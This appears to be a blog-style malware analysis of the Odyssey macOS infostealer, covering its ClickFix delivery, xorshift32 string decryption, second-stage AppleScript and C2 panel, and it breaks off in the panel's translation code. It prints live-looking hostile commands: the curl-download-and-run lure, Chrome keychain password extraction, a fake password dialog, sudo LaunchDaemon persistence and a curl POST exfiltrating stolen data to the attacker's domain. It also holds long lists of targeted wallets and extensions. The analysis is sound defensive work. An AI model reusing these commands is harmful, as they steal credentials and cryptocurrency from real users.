Odyssey infostealer infection chain

Debuting in macOS malware

malware
stealer
macos
reversing
Published

June 22, 2026

Introduction

Over the past few days I have been reading The Art of Mac Malware: The Guide to Analyzing Malicious Software by Patrick Wardle. It’s an amazing book, and I really enjoyed it. To truly test the new knowledge, I needed real-world samples to analyze, so I asked my Mac’s homies for a fresh one. Unsurprisingly, the “sample” was a ClickFix attack from 4 days before.

The page autocopies a b64 string that decodes into:

echo "Loading please wait"
curl -s hXXps://nqowf[.]com/d/unix4011574 > /tmp/unix001
chmod +x /tmp/unix001
/tmp/unix001 > /dev/null

Luckily for me the campaign and domain were still up and running and I could download the sample.

curl -s hXXps://nqowf[.]com/d/unix4011574 > unix001

The hash of the file is bab1b1743bbfc0b36565728d202415574028072054777260060cb524f798ca16 and at the time of analysis, it was detected by only 2 vendors.

Building the lab

This was my first time analyzing a macOS sample, and I had no idea how to set up a malware analysis lab. There are very limited resources on how to create a macOS sandbox, probably because VM creation technically violates Apple’s EULA, and most tutorials assume you already know the basics.

After several days of trial and error, I finally got a Tahoe VM running on QEMU hosted on my Linux machine. Awaiting that cease-and-desist from Apple! :fingers-crossed:

I used cidre-vm to install some tools.

First stage payload

Initial static analysis

I learned in “The Art of Mac Malware” that Mach-O binaries only contain code and data for a single architecture. The sample is a universal binary capable of running on both Intel 64-bit and Apple Silicon arm64.

user@users-iMac-Pro malware % file unix001
unix001: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64:Mach-O 64-bit executable arm64]
unix001 (for architecture x86_64):  Mach-O 64-bit executable x86_64
unix001 (for architecture arm64):   Mach-O 64-bit executable arm64

Individual binaries can be extracted with the lipo tool (xd)

user@users-iMac-Pro malware % lipo unix001 -thin x86_64 -output unix001_intel

user@users-iMac-Pro malware % file unix001_intel 
unix001_intel: Mach-O 64-bit executable x86_64

The file is not signed.

user@users-iMac-Pro malware % codesign -dvvv unix001_intel 
Executable=/Users/user/Downloads/malware/unix001_intel
Identifier=commandbuild-55554944c282f45ee8693d5abea39c6843c98d35
Format=Mach-O thin (x86_64)
...
Signature=adhoc
TeamIdentifier=not set

Just like the ClickFix command, you need to grant execution permissions.

user@users-iMac-Pro malware % chmod +x unix001_intel

The strings of the sample don’t reveal much, perhaps some functions worth monitoring

user@users-iMac-Pro malware % strings - unix001_intel 
USER
basic_string
vector
_fgets
_fopen
_fread
_fseek
_fwrite
_getenv
_pclose
_popen
_sleep
_system
...

I like to always use Detect It Easy to understand a bit more about the binary:

There is an interesting section worth examining.

This blog post is about trying new things, so now I will be testing IDA.

The main function is a beast with what seems to be bloated code, but looking more carefully some patterns appear.

This pattern is present everywhere, and makes the reading and understanding much more difficult. I’ll return to that later, but initially I focused on dynamic analysis to get some results.

Dynamic Analysis

It’s quite annoying that the code that decrypts and deobfuscates is not located in a single function. Instead, it’s placed everywhere making everything a mess.

But there are some juicy imports that deserve a breakpoint. The _popen is located at 0x100019AC8 and _system at 0x100019AE0.

In macOS, there is the lldb debugger that is more or less the same as gdb. With the following commands, I can set up the breakpoints and configure them to automatically print register contents, hopefully already decrypted by the malware.

(lldb) b 0x100019ae0
Breakpoint 1: where = unix001_intel`symbol stub for: system, address = 0x100019ae0
(lldb) b 0x100019ac8
Breakpoint 2: where = unix001_intel`symbol stub for: popen, address = 0x100019ac8
(lldb) breakpoint command add 1
Enter your debugger command(s). Type 'DONE' to end.
> x/s $rdi
> DONE
(lldb) breakpoint command add 2
Enter your debugger command(s). Type 'DONE' to end.
> x/s $rdi
> x/s $rsi
> DONE

This successfully printed the decrypted strings before executing popen and system.

popen('sw_vers -productVersion | cut -d. -f1', 'r')
popen('sw_vers -productVersion | cut -d. -f2', 'r')
popen('security find-generic-password -ga "Chrome" 2>&1 >/dev/null | sed -n "s/^password: \"\(.*\)\"/\1/p"', 'r')
popen('system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType', 'r')
system('ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip')
system('curl -X POST  -H "buildid: ab49e43473f54d43956fb7133f974b99" -H "username: prior" --data-binary @/tmp/lksopo.zip https://nqowf.com/log')

This reveals the malware’s intentions:

  1. Version check
  2. Extract Chrome’s password vault
  3. System profiling to identify the host
  4. Gather data and save it in /tmp/lksopo
  5. Compress folder as /tmp/lksopo.zip
  6. Exfiltrate to https://nqowf[.]com/log

With just these two breakpoints, we’re missing a lot, but the intent is clear.

Network configuration

I configured a basic fake network with inetsim and dnsmasq, but TLS handshakes failed because the certificate wasn’t trusted and didn’t match the domains.

To circumvent these issues, I redirected traffic on ports 80 and 443 to port 8080 with iptables, and ran mitmproxy in reverse mode.

    ┌─────────────────┐
    │       VM        │
    |  HTTPS Request  |
    └────────┬────────┘

             │  :443

    ┌─────────────────┐
    │    iptables     │
    │    REDIRECT     │
    │   :443 → :8080  │
    └────────┬────────┘

             │  :8080

    ┌─────────────────┐
    │ mitmproxy :8080 │
    │ Decrypt HTTPS   │
    │ (cert trusted)  │
    └────────┬────────┘

             │  :80

    ┌─────────────────┐
    │   inetsim :80   │
    │  (fake server)  │
    └─────────────────┘

After adding the mitmproxy certificate to the keychain, all the requests succeed with inetsim’s default HTML page.

Additionally, we can view the requests in mitmproxy.

Letting the malware run

After solving the network issue, we can now continue capturing the decrypted popen and system commands:

system("rm -rf /tmp/lksopo")
system("rm -rf /tmp/lksopo.zip")
popen("curl -s http://192.253.248.181/api/v1/getscptraw", "r")
system("nohup <html>\n  <head>\n    <title>INetSim default HTML page</title>\n  </head>\n  <body>\n    <p></p>\n    <p align="center">This is the default HTML page for INetSim HTTP server fake mode.</p>\n    <p align="center">This file is an HTML document.</p>\n  </body>\n</html>\n >/dev/null 2>&1 &")

Ups, not the expected response!

The nohup command ensures commands continue running after the user disconnects from the system. The expected command should look like this:

nohup {response from http://192.253.248.181/api/v1/getscptraw} >/dev/null 2>&1 &

The domain was still alive, so I have downloaded the second stage. It’s an osascript that executes an AppleScript.

At this point, there are several areas to explore:

  1. Analyze the second stage payload
  2. Complete the initial malware’s execution after downloading the next stage
  3. Extract all the encrypted strings from the initial sample, not just the popen and system arguments

Simulating C2 Communication

I created a mitmproxy Python script to return a simple print command and continue execution.

from mitmproxy import http

def request(flow):
    if "/api/v1/getscptraw" in flow.request.pretty_url:
        flow.response = http.Response.make(
            200,
            b'print "continue"',
            {"Content-Type": "text/plain"}
        )

ok so that was it.

Before moving on to the next stage, let’s finish analyzing the encrypted strings.

Decryption and Obfuscation Analysis

From our initial dynamic analysis, we’ve concluded that the sample is some sort of an infostealer. We know it collects data, packs it into a zip file and exfiltrates it to a specific URL. Then, it deletes its tracks and requests the second stage payload to another domain and executes it.

This is useful, but we’re not sure if it is doing something more under the hood. The binary was large enough to suggest additional functionality.

Recalling the obfuscation pattern:

This line is quite relevant, and a quick search identifies it as a xorshift32 PRNG.

v0 = v0 ^ (v0 << 13) ^ ((v0 ^ (v0 << 13)) >> 17) ^ (32 * (v0 ^ (v0 << 13) ^ ((v0 ^ (v0 << 13)) >> 17))) | 1;

A more common representation is written across multiple lines:

// 1. Standard xorshift32 steps
v0 ^= v0 << 13;
v0 ^= v0 >> 17;
v0 ^= v0 << 5; // Equivalent to multiplying by 32

// 2. Force the last bit to be 1
v0 |= 1;

The Wikipedia xorshift example is exactly that.

To summarize, the deobfuscation/decryption routine consists of:

  1. Initializing a 4 bytes seed
  2. Iterate N bytes of some region of memory
    1. XOR the encrypted byte with the lowest byte of the seed
    2. update the state of the seed with xorshift32
  3. return/save decrypted data

The encrypted bytes are located in the high entropy section that we have seen before. This section (4.__TEXT.__const) starts at 0x10001b290 and its size is 0x321c.

There are multiple ways to decrypt this data. We could place breakpoints everywhere and capture decrypted values, but since there’s no single decrypt function, it would be tedious. I think I’ll pass, I’ve already done enough dynamic analysis.

There is no “Best Tool”, so I like using multiple tools simultaneously. I was using IDA, but radare2 is always handy and has saved me more than once.

Looking at this pretty hexdump in radare2, I noticed something odd: all encrypted strings end with 0x00? 0x0000?

Doing an xref from the first encrypted data, I finally understood what was happening. The seed (0x7CCF26EB) is at the begining of the encrypted data (little endian eb26 cf7c)! The next N bytes are the encrypted data, and I’m still unsure about the final byte before the null terminator.

Something like this:

state = 0x7CCF26EB
for i in range(10):
    # XOR with lowest byte of state
    data.append(encrypted_data[i + 4] ^ (state & 0xFF))
    # Update state of the PRNG
    state = xorshift32_next(state)

This means that with only the encrypted data section should be possible to decrypt all strings. I successfully manually decrypted a couple of examples, but struggled to determine how the strings were separated. With a single null byte? With two? three? The results were inconsistent across the region, and still not sure about the last unused byte.

To make some progress, I tried a different approach and vibe-wrote my first IDA script.

TipGist

IDAPython script for decrypting xorshift32-obfuscated strings in macOS malware

I’m not very proud of this code, but at least it works 🙃. In summary, the approach is as follows:

  1. find xrefs to the encrypted data section
  2. extract the seed and the size of the data to decrypt
  3. decrypt data using xorshift32 PRNG and seed

Running this script returns 379 nicely decrypted strings

TipDecrypted xorshift32 strings
"dscl . authonly '"
"s"
"masterpass-chrome"
"osascript -e 'set passwen to display dialog "Please enter device password to continue." default answer "" with icon caution buttons {"Continue"} default button "Continue" giving up after 150 with title "Password Request" with hidden answer
text returned of passwen'"
"Partitions"
"Code Cache"
"Cache"
"market-history-cache.json"
"journals"
"Previews"
"GPUCache"
"DawnCache"
"Crashpad"
"DawnWebGPUCache"
"DawnGraphiteCache"
"__update__"
"media"
"calls"
"/cookies.sqlite"
"/formhistory.sqlite"
"/key4.db"
"/logins.json"
"gecko/"
"/IndexedDB/"
"/IndexedDB/"
"ldinpeekobnhjjdofggfgjlcehhmanlj"
"nphplpgoakhhjchkkhmiggakijnkhfnd"
"jbkgjmpfammbgejcpedggoefddacbdia"
"fccgmnglbhajioalokbcidhcaikhlcpm"
"nebnhfamliijlghikdgcigoebonmoibm"
"fdcnegogpncmfejlfnffnofpngdiejii"
"mfhbebgoclkghebffdldpobeajmbecfk"
"ffbceckpkpbcmgiaehlloocglmijnpmp"
"kfdniefadaanbjodldohaedphafoffoh"
"bedogdpgdnifilpgeianmmdabklhfkcn"
"kpfchfdkjhcoekhdldggegebfakaaiog"
"klnaejjgbibmhlephnhpmaofohgkpgkd"
"opcgpfmipidbgpenhmajoajpbobppdil"
"mmmjbcfofconkannjonfmjjajpllddbg"
"modjfdjcodmehnpccdjngmdfajggaoeh"
"dkdedlpgdmmkkfjabffeganieamfklkm"
"ifclboecfhkjbpmhgehodcjpciihhmif"
"ppbibelpcjmhbdihakflkdcoccbgbkpo"
"ejjladinnckdgjemekebdpeokbikhfci"
"kkpllkodjeloidieedojogacfhpaihoh"
"apnehcjmnengpnmccpaibjmhhoadaico"
"jiepnaheligkibgcjgjepjfppgbcghmp"
"jojhfeoedkpkglbfimdfabpdfjaoolaf"
"idpdilbfamoopcfofbipefhmmnflljfi"
"lbjapbcmmceacocpimbpbidpgmlmoaao"
"oiohdnannmknmdlddkdejbmplhbdcbee"
"fldfpgipfncgndfolcbkdeeknbbbnhcc"
"fpkhgmpbidmiogeglndfbkegfdlnajnf"
"lgmpcpglpngdoalbgeoldeajfclnhafa"
"ilhaljfiglknggcoegeknjghdgampffk"
"pfccjkejcgoppjnllalolplgogenfojk"
"cnmamaachppnkjgnildpdmkaakejnhae"
"eajafomhmkipbjmfmhebemolkcicgfmd"
"emeeapjkbcbpbpgaagfchmcgglmebnen"
"ibnejdfjmmkpcnlpebklmnkoeoihofec"
"hifafgmccdpekplomjjkcfgodnhcellj"
"ffnbelfdoeiohenkjibnmadjiehjhajb"
"fnjhmkhhmkbjkkabndcnnogagogbneec"
"bcopgchhojmggmffilplmbdicgaihlkp"
"cmoakldedjfnjofgbbfenefcagmedlga"
"ifckdpamphokdglkkdomedpdegcjhjdp"
"ibljocddagjghmlpgihahamcghfggcjc"
"cjmkndjhnagcfbpiemnkdpomccnjblmj"
"kbdcddcmgoplfockflacnnefaehaiocb"
"cgeeodpfagjceefieflmdfphplkenlfk"
"afbcbjpbpfadlkmhmclhkeeodmamcflc"
"fdchdcpieegfofnofhgdombfckhbcokj"
"gjlmehlldlphhljhpnlddaodbjjcchai"
"ellkdbaphhldpeajbepobaecooaoafpg"
"ojbcfhjmpigfobfclfflafhblgemeidi"
"ghlmndacnhlaekppcllcpcjjjomjkjpg"
"kgdijkcfiglijhaglibaidbipiejjfdp"
"abkahkcbhngaebpcgfmhkoioedceoigp"
"ammjlinfekkoockogfhdkgcohjlbhmff"
"pdliaogehgdbhbnmkklieghmmjkpigpa"
"jnlgamecbpmbajjfhmmmlhejkemejdma"
"nbdhibgjnjpnkajaghbffjbkcgljfgdi"
"jfdlamikmbghhapbgfoogdffldioobgl"
"fijngjgcjhjmmpcmkeiomlglpeiijkld"
"hgbeiipamcgbdjhfflifkgehomnmglgk"
"pmmnimefaichbcnbndcfpaagbepnjaig"
"cflgahhmjlmnjbikhakapcfkpbcmllam"
"keenhcnmdmjjhincpilijphpiohdppno"
"bipdhagncpgaccgdbddmbpcabgjikfkn"
"bcenedbpaaegpnijoadpdjiachahncdg"
"pocmplpaccanhmnllbbkpgfliimjljgo"
"klghhnkeealcohjjanjjdaeeggmfmlpl"
"cjookpbkjnpkmknedggeecikaponcalb"
"ojggmchlghnjlapmfbnjholfjkiidbch"
"dngmlblcodfobpdpecaadgfbcggfjfnm"
"jnldfbidonfeldmalbflbmlebbipcnle"
"ehjiblpccbknkgimiflboggcffmpphhp"
"agoakfejjabomempkjlepdflaleeobhb"
"fopmedgnkfpebgllppeddmmochcookhc"
"dmkamcknogkgcdfhhbddcghachkejeap"
"iglbgmakmggfkoidiagnhknlndljlolb"
"opfgelmcmbiajamepnmloijbpoleiama"
"gkeelndblnomfmjnophbhfhcjbcnemka"
"dgiehkgfknklegdhekgeabnhgfjhbajd"
"gafhhkghbfjjkeiendhlofajokpaflmk"
"imlcamfeniaidioeflifonfjeeppblda"
"penjlddjkjgpnkllboccdgccekpkcbin"
"nhnkbkgjikgcigadomkphalanndcapjk"
"egjidjbpglichdcondbcbdnbeeppgdph"
"dlcobpjiigpikoobohmabehhmhfoodbb"
"dldjpboieedgcmpkchcjcbijingjcgok"
"acmacodkjbdgmoleebolmdjonilkdbch"
"lccbohhgfkdikahanoclbdmaolidjdfl"
"pcndjhkinnkaohffealmlmhaepkpmgkb"
"gjagmgiddbbciopjhllkdnddhcglnemk"
"cnncmdhjacpkmjmkcafchppbnpnhdmon"
"mfgccjchihfkkindfppnaooecgfneiii"
"ieldiilncjhfkalnemgjbffmpomcaigi"
"ckklhkaabbmdjkahiaaplikpdddkenic"
"loinekcabhlmhjjbocijdoimmejangoa"
"mgffkfbidihjpoaomajlbgchddlicgpn"
"pnndplcbkakcplkjnolgbkdgjikjednm"
"mcohilncbfahbmgdjkbpemcciiolgcge"
"bgpipimickeadkjlklgciifhnalhdjhe"
"pdadjkfkgcafgbceimcpbkalnfnepbnk"
"jiidiaalihmmhddjgbnbgdfflelocpak"
"aeachknmefphepccionboohckonoeemg"
"gdokollfhmnbfckbobkdbakhilldkhcj"
"jiiigigdinhhgjflhljdkcelcjfmplnd"
"kmphdnilpmdejikjdnlbcnmnabepfgkh"
"jaooiolkmfcmloonphpiiogkfckgciom"
"fcckkdbjnoikooededlapcalpionmalo"
"mdnaglckomeedfbogeajfajofmfgpoae"
"ebfidpplhabeedpnhjnobghokpiioolj"
"dbgnhckhnppddckangcjbkjnlddbjkna"
"cpmkedoipcpimgecpmgpldfpohjplkpp"
"epapihdplajcdnnkdeiahlgigofloibg"
"iokeahhehimjnekafflcihljlcjccdbe"
"cihmoadaighcejopammfbmddcmdekcje"
"hnfanknocfeofbddgcijnmhnfnkdnaad"
"kilnpioakcdndlodeeceffgjdpojajlo"
"abogmiocnneedmmepnohnhlijcjpcifd"
"bofddndhbegljegmpmnlbhcejofmjgbn"
"aholpfdialjgjfhomihkjbmgjidlcdno"
"hdkobeeifhdplocklknbnejdelgagbao"
"oafedfoadhdjjcipmcbecikgokpaphjk"
"bfnaelmomeimhlpmgjnjophhpkkoljpa"
"nkbihfbeogaeaoehlefnkodbefgpgknn"
"lfmmjkfllhmfmkcobchabopkcefjkoip"
"aiifbnbfobpmeekipheeijimdpnlpgpp"
"anokgmphncpekkhclmingpimjmcooifb"
"mnfifefkajgofkcjkemidiaecocnkjeh"
"momakdpclmaphlamgjcndbgfckjfpemp"
"akkmagafhjjjjclaejjomkeccmjhdkpa"
"ehgjhhccekdedpbkifaojjaefeohnoea"
"mkpegjkblkkefacfnmkajcjmabijhclg"
"mlhakagmgkmonhdonhkpjeebfphligng"
"niiaamnmgebpeejeemoifgdndgeaekhe"
"jnmbobjmhlngoefaiojfljckilhhlhcj"
"onhogfjeacnfoofkfgppdlbmlmnplgbn"
"kppfdiipphfccemcignhifpjkapfbihd"
"hcjhpkgbmechpabifbggldplacolbkoh"
"flpiciilemghbmfalicajoolhkkenfel"
"mlbnicldlpdimbjdcncnklfempedeipj"
"cfbfdhimifdmdehjmkdobpcjfefblkjm"
"ocjobpilfplciaddcbafabcegbilnbnb"
"pgiaagfkgcbnmiiolekcfmljdagdhlcm"
"enabgbdfcbaehmbigakijjabdpdnimlg"
"bifidjkcdpgfnlbcjpdkdcnbiooooblg"
"lnnnmfcpbkafcpgdilckhmhbkkbpkmid"
"nlgbhdfgdhgbiamfdfmbikcdghidoadd"
"fcfcfllfndlomdhbehjjcoimbgofdncg"
"lpilbniiabackdjcionkobglmddfbcjo"
"efbglgofoippbgcjepnhiblaibcnclgk"
"fhbohimaelbohpjbbldcngcnapndodjp"
"gkodhkbmiflnmkipcmlhhgadebbeijhh"
"bocpokimicclpaiekenaeelehdjllofo"
"bhhhlbepdkbapadjdnnojkbgioiodbic"
"aflkmfhebedbjioipglgcbcmnbpgliof"
"mkchoaaiifodcflmbaphdgeidocajadp"
"mapbhaebnddapnmifbbkgeedkeplgjmf"
"lmkncnlpeipongihbffpljgehamdebgi"
"gjnckgkfmgmibbkoficdidcljeaaaheg"
"ppdadbejkmjnefldpcdjhnkpbjkikoip"
"bopcbmipnjdcdfflfgjdgdjejmgpoaab"
"kamfleanhcmjelnhaeljonilnmjpkcjc"
"cphhlgmgameodnhkjdmkpanlelnlohao"
"hnhobjmcibchnmglfbldbfabcgaknlkj"
"nknhiehlklippafakaeklbeglecifhad"
"kjjebdkfeagdoogagbhepmbimaphnfln"
"phkbamefinggmakgklpkljjmgibohnba"
"lakggbcodlaclcbbbepmkpdhbcomcgkd"
"ookjlbkiijinhpmnjffcofjonbfbgaoc"
"mdjmfdffdcmnoblignmgpommbefadffd"
"jblndlipeogpafnldhgmapagcccfchpi"
"hbbgbephgojikajhfbomhlmmollphcad"
"dpcklmdombjcplafheapiblogdlgjjlb"
"hmeobnfnfcmdkdcmlblgagmfpfboieaf"
"kmhcihpebfmpgmihbkipmjlmmioameka"
"kennjipeijpeengjlogfdjkiiadhbmjl"
"amkmjjmmflddogmhpjloimipbofnfjih"
"idnnbdplmphpflfnlkomgpfbpcgelopg"
"fmblappgoiilbgafhjklehhfifbdocee"
"heamnjbnflcikcggoiplibfommfbkjpj"
"khpkpbbcccdmmclmpigdgddabeilkdpd"
"omaabbefbmiijedngplfjmnooppbclkk"
"nhlnehondigmgckngjomcpcefcdplmgc"
"fiikommddbeccaoicoejoniammnalkfa"
"ejbidfepgijlcgahbmbckmnaljagjoll"
"glmhbknppefdmpemdmjnjlinpbclokhn"
"kncchdigobghenbbaddojjnnaogfppfj"
"hpclkefagolihohboafpheddmmgdffjm"
"ilolmnhjbbggkmopnemiphomhaojndmb"
"panpgppehdchfphcigocleabcmcgfoca"
"nngceckbapebfimnlniiiahkandclblb"
"hdokiejnpimakedhajhdlcegeplioahd"
"eiaeiblijfjekdanodkjadfinkhbfgcd"
"bfogiafebfohielmmehodmfbbebbbpei"
"pnlccmojcmeohlpggmfnbbiapkmbliob"
"aeblfdkhhhdcdjpifhhbdiojplfjncoa"
"kmcfomidfpdkfieipokbalgegidffkal"
"fdjamakpfbbddfjaooikfcpapjohcfmg"
"ghmbeldphafepmbegfdlkpapadhbakde"
"cnlhokffphohmfcddnibpohmkdfafdli"
"khhapgacijodhjokkcjmleaempmchlem"
"admmjipmmciaobhojoghlmleefbicajg"
"caljgklbbfbcjjanaijlacgncafpegll"
"bdgmdoedahdcjmpmifafdhnffjinddgc"
"bhghoamapcdpbohphigoooaddinpkbai"
"iklgijhacenjgjgdnpnohbafpbmnccek"
"bbphmbmmpomfelajledgdkgclfekilei"
"npjilhodcgmigpladpfkkclbmkebalfd"
"gmegpkknicehidppoebnmbhndjigpica"
"ibpjepoimpcdofeoalokgpjafnjonkpc"
"gmohoglkppnemohbcgjakmgengkeaphi"
"pdiccmolmknojplidnlkaenkejbminpp"
"dbfoemgnkgieejfkaddieamagdfepnff"
"mmhlniccooihdimnnjhamobppdhaolme"
"lgbjhdkjmpgjgcbcdlhkokkckpjmedgc"
"deelhmmhejpicaaelihagchjjafjapjc"
"hldllnfgjbablcfcdcjldbbfopmohnda"
"igkpcodhieompeloncfnbekccinhapdb"
"ajgehecfkfhindkhdcjmifbngkfdflla"
"kghbmcgihmefcbjlfiafjcigdcbmecbf"
"gejiddohjgogedgjnonbofjigllpkmbf"
"didegimhafipceonhjepacocaffmoppf"
"bnfdmghkeppfadphbnkjcicejfepnbfe"
"gcmahhkjkpigcpfpmdjnbiakmbdegfeh"
"/Network/Cookies"
"/Cookies"
"/Web Data"
"/Login Data"
"/Local Extension Settings/"
"/IndexedDB/"
"chromium/"
"Default"
"Profile"
"/Network/Cookies"
"/Cookies"
"/Local Extension Settings/"
"/IndexedDB/"
"Telegram Desktop/tdata/"
"key_datas"
"/maps"
"curl -s "
"/api/v1/getscptraw"
"nohup "
" >/dev/null 2>&1 &"
"curl -s "
"/api/v1/getscpt/"
"/tmp/starter"
"echo '"
"' | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.xdivcmp.plist"
"echo '"
"' | sudo -S launchctl bootstrap system /Library/LaunchDaemons/com.xdivcmp.plist"
"/Applications/"
".app"
"/tmp/"
"/web/"
"curl "
" -o "
"pkill '"
"rm -rf '"
"echo '"
"' | sudo -S rm -rf '"
"ditto -x -k '"
"' /Applications"
"root"
"/tmp/lksopo/"
"/Users/"
"Library/"
"Application Support/"
"Keychains/login.keychain-db"
"Google/Chrome/"
"sw_vers -productVersion | cut -d. -f1"
"sw_vers -productVersion | cut -d. -f2"
".pwd"
"user"
"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType"
"hardware"
"Chrome"
"Google/Chrome/"
"Brave"
"BraveSoftware/Brave-Browser/"
"Edge"
"Microsoft Edge/"
"Vivaldi"
"Vivaldi/"
"Opera"
"com.operasoftware.Opera/"
"OperaGX"
"com.operasoftware.OperaGX/"
"Chrome Beta"
"Google/Chrome Beta/"
"Chrome Canary"
"Google/Chrome Canary/"
"Chromium"
"Chromium/"
"Chrome Dev"
"Google/Chrome Dev/"
"Arc/User Data/"
"CocCoc"
"CocCoc/Browser/"
"Electrum"
".electrum/wallets/"
"Coinomi"
"Coinomi/wallets/"
"Exodus"
"Exodus/"
"Atomic"
"atomic/Local Storage/leveldb/"
"Wasabi"
".walletwasabi/client/Wallets/"
"Ledger_Live"
"Ledger Live/"
"Monero"
"Monero/wallets/"
"Bitcoin_Core"
"Bitcoin/wallets/"
"Litecoin_Core"
"Litecoin/wallets/"
"Dash_Core"
"DashCore/wallets/"
"Electrum_LTC"
".electrum-ltc/wallets/"
"Electron_Cash"
".electron-cash/wallets/"
"Guarda"
"Guarda/"
"Dogecoin_Core"
"Dogecoin/wallets/"
"Trezor_Suite"
"@trezor/suite-desktop/"
"Sparrow"
".sparrow/wallets/"
"Firefox"
"Firefox/Profiles/"
"Waterfox"
"Waterfox/Profiles/"
"deskwallets/"
"ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip"
"curl -X POST  -H "buildid: ab49e43473f54d43956fb7133f97"
"rm -rf /tmp/lksopo"
"rm -f /tmp/lksopo.zip"
"http://192.253.248.181"
"false"
".botid"
".pwd"
"https://nqowf.com"
".phost"
".bhost"
"prior"
".username"
"Ledger Live"
"ledger.zip"
"Ledger Wallet"
"ledgerwallet.zip"
"Trezor Suite"
"trezor.zip"

With 379 decrypted strings, we now have a much clearer picture of the malware’s reach. The strings reveal targets across multiple categories: cryptocurrency wallets (Ledger, Trezor, Guarda, Exodus, Electrum variants, Bitcoin, Litecoin, Dogecoin, and others), major web browsers (Chrome, Firefox, Edge, Brave, Opera, Vivaldi, Arc…), browser extensions, browser data (history, cookies), Telegram credentials, and C2 domains and other indicators. Finally, it downloads and executes a second payload.

At this point, we’ve more or less dissected the first stage. Now it’s time to examine what it downloads and executes: the second-stage AppleScript payload.

Second stage payload

The payload is an AppleScript of about 180 lines. It starts with defining the variable app_id to "xxxblyat". Then there are multiple functions and starts by running init(app_id).

$ sha256sum getscptraw 
227e5a628ac131e4825d2a5fa8a7a051742a8c304f5cbdb06a3858b0e88c5054  getscptraw
$ file getscptraw 
getscptraw: ASCII text
$ wc getscptraw 
179  637 4354 getscptraw

Structure and Initial Setup

The script starts by defining several helper functions for file operations and system interaction: trim() for whitespace removal, readFile() and writeFile() for persistence, and checkActiveAppID() to verify running processes.

The critical part is the init() function, which reads configuration from hidden files stored in the user’s home directory:

~/.bhost       - Bot C2 server address
~/.phost       - Panel address
~/.username    - Panel username
~/.botid       - Unique bot identifier
~/.lastaction  - Track executed actions
~/.uninstalled - Marker file for cleanup

If any configuration is missing, the malware silently exits. This suggests it expects the first stage to have already dropped these files. We have already seen the strings ".botid", ".phost" and ".bhost" in the previous stage.

C2 Communication

The malware implements a pull-based C2 model with two main functions:

joinsystem() - Registers the bot with the C2 server and retrieves a unique botID:

GET /api/v1/bot/joinsystem/{panelUsername}/{macOSVers}

getActions() - Polls the C2 for pending commands:

GET /api/v1/bot/actions/{botID}

Both functions implement retry logic with exponential backoff (60-second delays), with a 10-attempt limit before giving up. The User-Agent is User-Agent: bot.

Command Execution

The main loop continuously polls for actions and executes them based on the actionName:

  • uninstall - Writes a marker file and exits, effectively disabling the malware

  • doshell - Executes arbitrary shell commands directly

  • repeat - Downloads and executes a script from the C2:

    GET /api/v1/bot/repeat/{panelUsername} | bash
  • enablesocks5 - Downloads a SOCKS5 proxy binary and runs it in the background

    33a89db6eea3b3b01e56439de1e40d0ca542bc1938a994485c44d6037e113739 socks

Each action is tracked via actionID to prevent duplicate execution.

Bonus track: C2 Panel Analysis

The domain nqowf[.]com was registered behind Cloudflare on 2026-06-04 (visible in crt.sh). The main page displays a login panel, and interestingly, the same affiliate portal was mentioned by researcher @Gi7w0rm months earlier.

They identified it as the Odyssey infostealer panel.

Frontend Analysis

A fun thing about the frontend is that it’s public by definition, so I downloaded the js to learn more about the operation. The panel is built with React and reveals a lot through its API endpoints and configuration.

API Endpoints and Routes

The authentication layer reveals endpoints for managing bots, actions, and data exfiltration:

/api/v1/sign-in
/api/v1/auth/user
/api/v1/auth/seeds
/api/v1/auth/statistics
/api/v1/auth/builder
/api/v1/auth/bots
/api/v1/auth/bot-actions
/api/v1/auth/bot/${e}
/api/v1/auth/repeat-all
/api/v1/auth/socks
/api/v1/auth/socks/${e}
/api/v1/auth/revshells
/api/v1/auth/revshells/${e}
/api/v1/auth/settings
/api/v1/auth/create-guest-link
/api/v1/auth/logs
/api/v1/auth/log/${e}
/api/v1/auth/download-without-wallets
/api/v1/auth/download-all
/api/v1/auth/download-wallets
/api/v1/auth/download-log/${e}
/api/v1/auth/download-selected?id=${e}
/api/v1/auth/restore-cookies

Admin functionality includes user and blacklist management:

/api/v1/admin/users
/api/v1/admin/user
/api/v1/admin/user/${encodeURIComponent(e)}
/api/v1/admin/safe-exit
/api/v1/admin/blacklist
/api/v1/admin/blacklist/${e}

And guest/statistics links for sharing stolen data:

/api/v1/guestmode/${e}
/api/v1/stat/${e}

Frontend Routes

/login
/builder
/link-creator
/logs
/cookies
/bots
/socks
/revshells
/seeds
/settings
/admin
/admin/blacklist

The Knock Message Template

The default notification template that operators receive when a bot checks in. This template summarizes everything the malware harvests in a single notification.

(0, O9.useEffect)(() => {
    v && h({
        ...v,
        knock_msg: v.knock_msg || `MACOS STEALER

ID: {{ID}}
BuildID: {{BUILDID}}
IsDup: {{ISDUP}}

IP: {{IP}}
Country: {{COUNTRY}}
Country Code: {{CC}}
CryptoChecker Balance: {{CRYPTOBALANCE}}

Cookies: {{COOKIES}}
Passwords: {{PASSWORDS}}
Wallets: {{WALLETCOUNT}} {{WALLETARRAY}}
Domains Count: {{DOMAINS}}
Valueable Domains: {{VALUABLEDOMAINS}}
Password Managers: {{PWDMANAGERS}}
Have Telegram: {{TELEGRAM}}
Notes Count: {{NOTESCOUNT}}
DateTime: {{DATETIME}}`
        })

Remember to always keep good security: “The password must be at least 4 characters.”

rE(), BNe = oT({
    password: nT().min(4, {
        message: `Пароль должен быть не менее 4 символов.`
    })
}), VNe = oT({
    bot_token: nT().optional(),
    id_logs: nT().optional(),
    id_notifs: nT().optional(),
    chat_id_crypto: nT().optional(),
    chat_id_ledger: nT().optional(),
    antidup: rT(),
    cryptochecker_on: rT().optional(),
    knock_msg: nT().optional(),
    ftp_host: nT().optional(),
    ftp_user: nT().optional(),
    ftp_pass: nT().optional(),
    ftp_dir: nT().optional()
})

Translations

But the most interesting part are the translations:

NoteTranslations
var BFe = {
        nav: {
            dashboard: `Dashboard`,
            builder: `Builder`,
            logs: `Logs`,
            bots: `Bots`,
            linkCreator: `Link Creator`,
            cookies: `Google Cookies Restore`,
            settings: `Settings`,
            admin: `Admin Panel`,
            signOut: `Sign Out`,
            subscriptionExpires: `Subscription expires in`,
            days: `{count} days`,
            guestView: `Guest View`,
            socks: `Socks`,
